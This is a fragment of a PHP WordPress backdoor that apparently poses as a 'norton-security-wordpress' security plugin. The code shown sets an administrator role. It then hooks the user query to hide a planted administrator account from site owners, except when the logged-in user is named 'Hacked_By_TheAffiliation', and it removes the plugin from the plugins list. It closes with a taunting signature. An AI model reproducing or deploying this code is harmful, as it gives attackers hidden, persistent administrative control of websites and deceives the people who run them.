
set_role('administrator');
}
}
}
// Hide the administrator account from the users list.
add_action('pre_user_query','Ghost_Backdoor');
function Ghost_Backdoor($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'Hacked_By_TheAffiliation') {
}
else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'user_login_track_disabled'",$user_search->query_where);
}
}
// Hide the plugin from the plugins list.
add_action('pre_current_active_plugins', 'Ghost_Plugin');
function Ghost_Plugin() {
global $wp_list_table;
$hidearr = array('norton-security-wordpress/norton-security-wordpress.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
// You have come this far. Why stop now?!.
// Contact me at •••••@••••••.com
?>